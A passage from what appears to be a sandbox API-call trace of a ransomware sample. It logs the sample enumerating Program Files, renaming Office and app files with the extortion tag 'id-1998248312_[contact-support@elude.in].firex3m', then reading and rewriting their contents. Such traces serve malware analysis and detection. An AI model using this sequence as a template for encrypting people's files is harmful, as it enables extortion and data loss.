(normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\money_logosmall.targetsize-24.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.086] Sleep (dwMilliseconds=0x1) [0243.104] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js\\default.js", len=0x60 | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js\\default.js") returned 1 [0243.104] GetProcessHeap () returned 0x630000 [0243.104] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53e0) returned 0x6fe3bb0 [0243.104] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js\\default.js" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js\\default.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.117] Sleep (dwMilliseconds=0x1) [0243.145] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x", len=0x68 | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x") returned 1 [0243.145] GetProcessHeap () returned 0x630000 [0243.145] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5378) returned 0x6fe3bb0 [0243.145] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.241] Sleep (dwMilliseconds=0x1) [0245.875] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBOB6.CHM", len=0x6b | out: pbstr=0x433ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBOB6.CHM") returned 1 [0245.875] GetProcessHeap () returned 0x630000 [0245.875] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e58) returned 0x6fe3bb0 [0245.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\1033\\vbob6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0245.902] CloseHandle (hObject=0x6ec) returned 1 [0245.902] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0245.903] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\1033\\vbob6.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBOB6.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\1033\\vbob6.chm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0245.903] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0245.904] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBOB6.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca4da68, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xca4da68, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca4da68, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e434, dwReserved0=0x6e006f, dwReserved1=0x610074, cFileName="VBOB6.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VBOB6C~1.FIR")) returned 0x6d5040 [0245.904] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0245.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBOB6.CHM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\1033\\vbob6.chm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0245.904] GetProcessHeap () returned 0x630000 [0245.904] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7485d38 [0245.904] GetProcessHeap () returned 0x630000 [0245.904] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7491168 [0245.904] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.904] ReadFile (in: hFile=0x6ec, lpBuffer=0x7485d38, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7485d38*, lpNumberOfBytesRead=0x433ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0253.600] GetProcessHeap () returned 0x630000 [0253.600] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73188a0 [0253.601] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.601] WriteFile (in: hFile=0x6ec, lpBuffer=0x7491168*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7491168*, lpNumberOfBytesWritten=0x433ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0253.601] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.601] WriteFile (in: hFile=0x6ec, lpBuffer=0x749c567*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x749c567*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0253.601] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.601] WriteFile (in: hFile=0x6ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0253.601] CloseHandle (hObject=0x6ec) returned 1 [0253.602] GetProcessHeap () returned 0x630000 [0253.602] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7491168 | out: hHeap=0x630000) returned 1 [0253.602] GetProcessHeap () returned 0x630000 [0253.602] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7485d38 | out: hHeap=0x630000) returned 1 [0253.603] GetProcessHeap () returned 0x630000 [0253.603] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73188a0 | out: hHeap=0x630000) returned 1 [0254.426] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.426] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBOB6.CHM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca4da68, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xca4da68, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5d1be65f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1e458, dwReserved0=0xb1c7496, dwReserved1=0x7485d30, cFileName="VBOB6.CHM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VBOB6C~1.FIR")) returned 0x6d51c0 [0254.426] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0254.426] Sleep (dwMilliseconds=0x1) [0254.433] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_LogoSmall.scale-100.png", len=0x92 | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_LogoSmall.scale-100.png") returned 1 [0254.433] GetProcessHeap () returned 0x630000 [0254.433] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e3c) returned 0x6fe3bb0 [0254.434] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_LogoSmall.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apptiles\\weather_logosmall.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.453] Sleep (dwMilliseconds=0x1) [0254.470] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\WeatherColorIcons.ttf", len=0x8b | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\WeatherColorIcons.ttf") returned 1 [0254.470] GetProcessHeap () returned 0x630000 [0254.470] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dd0) returned 0x6fe3bb0 [0254.470] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\WeatherColorIcons.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.shell\\themes\\glyphs\\font\\weathercoloricons.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.958] Sleep (dwMilliseconds=0x1) [0261.209] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\PREVIEW.GIF", len=0x6e | out: pbstr=0x433ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\PREVIEW.GIF") returned 1 [0261.209] GetProcessHeap () returned 0x630000 [0261.209] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c60) returned 0x6fe3bb0 [0261.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\cascade\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0261.305] CloseHandle (hObject=0x6c0) returned 1 [0261.305] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0261.305] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\cascade\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\cascade\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0261.378] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.378] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x5b005f, dwReserved1=0x6f0063, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d5240 [0261.402] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0261.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\cascade\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0261.424] GetProcessHeap () returned 0x630000 [0261.424] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x561) returned 0x75688f8 [0261.424] GetProcessHeap () returned 0x630000 [0261.424] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x561) returned 0x7568e80 [0261.424] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.424] ReadFile (in: hFile=0x5ec, lpBuffer=0x75688f8, nNumberOfBytesToRead=0x540, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x75688f8*, lpNumberOfBytesRead=0x433ff0c*=0x540, lpOverlapped=0x0) returned 1 [0261.439] GetProcessHeap () returned 0x630000 [0261.439] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317a68 [0261.439] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.439] WriteFile (in: hFile=0x5ec, lpBuffer=0x7568e80*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7568e80*, lpNumberOfBytesWritten=0x433ff0c*=0x540, lpOverlapped=0x0) returned 1 [0261.439] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.439] WriteFile (in: hFile=0x5ec, lpBuffer=0x75693bf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x75693bf*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0261.439] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.439] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0261.439] CloseHandle (hObject=0x5ec) returned 1 [0261.440] GetProcessHeap () returned 0x630000 [0261.440] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7568e80 | out: hHeap=0x630000) returned 1 [0261.440] GetProcessHeap () returned 0x630000 [0261.440] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x75688f8 | out: hHeap=0x630000) returned 1 [0261.440] GetProcessHeap () returned 0x630000 [0261.440] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317a68 | out: hHeap=0x630000) returned 1 [0261.440] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.440] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61c78950, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x577, dwReserved0=0x433fd20, dwReserved1=0x75688f8, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d51c0 [0261.440] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0261.440] Sleep (dwMilliseconds=0x1) [0261.455] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\Attribution\\foreca.png", len=0x6d | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\Attribution\\foreca.png") returned 1 [0261.455] GetProcessHeap () returned 0x630000 [0261.455] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e50) returned 0x6fe3bb0 [0261.455] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\Attribution\\foreca.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\attribution\\foreca.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.457] Sleep (dwMilliseconds=0x1) [0261.496] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\Attribution\\accuweather.png", len=0x72 | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\Attribution\\accuweather.png") returned 1 [0261.496] GetProcessHeap () returned 0x630000 [0261.496] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e4c) returned 0x6fe3bb0 [0261.497] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\Attribution\\accuweather.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\attribution\\accuweather.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.504] Sleep (dwMilliseconds=0x1) [0261.606] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_LogoSmall.scale-200.png", len=0x7f | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_LogoSmall.scale-200.png") returned 1 [0261.606] GetProcessHeap () returned 0x630000 [0261.606] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e38) returned 0x6fe3bb0 [0261.606] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_LogoSmall.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weather_logosmall.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.606] Sleep (dwMilliseconds=0x1) [0261.661] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\5.jpg", len=0x7b | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\5.jpg") returned 1 [0261.661] GetProcessHeap () returned 0x630000 [0261.661] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e14) returned 0x6fe3bb0 [0261.661] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\5.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\423x173\\5.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.663] Sleep (dwMilliseconds=0x1) [0261.668] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\46.jpg", len=0x7c | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\46.jpg") returned 1 [0261.668] GetProcessHeap () returned 0x630000 [0261.668] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e10) returned 0x6fe3bb0 [0261.668] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\46.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\423x173\\46.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.670] Sleep (dwMilliseconds=0x1) [0261.719] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\3.jpg", len=0x7b | out: pbstr=0x433ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\3.jpg") returned 1 [0261.719] GetProcessHeap () returned 0x630000 [0261.719] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4df0) returned 0x6fe3bb0 [0261.720] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\3.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\423x173\\3.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.721] Sleep (dwMilliseconds=0x1) [0261.734] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\27.jpg", len=0x7c | out: 